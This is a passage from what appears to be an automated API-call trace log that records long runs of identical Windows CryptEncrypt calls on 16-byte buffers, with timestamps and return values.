pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.412] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.412] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.412] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.412] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.412] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.412] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.412] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.412] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.412] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.412] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.412] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.412] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.412] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.412] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.412] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.412] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.413] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.413] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.413] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.413] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.413] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.413] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.413] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.413] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.413] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.413] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.413] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.413] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.413] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.413] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.413] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.413] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.413] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.413] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.414] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.414] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.414] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.414] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.414] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.414] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.414] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.414] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.414] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.414] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.414] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.414] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.414] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.414] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.414] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.414] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.414] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.414] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.415] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.415] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.415] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.415] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.415] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.415] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.415] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.415] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.415] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.415] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.415] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.415] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.415] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.415] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.415] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.415] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.415] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.415] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.416] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.416] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.416] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.416] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.416] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.416] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.416] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.416] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.416] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.416] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.416] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.416] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.416] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.416] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.416] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.416] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.416] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.417] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.417] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.417] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.417] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.417] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.417] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.417] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.417] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.417] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.417] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.417] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.417] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.417] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.417] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.417] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.417] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.417] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0157.417] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | 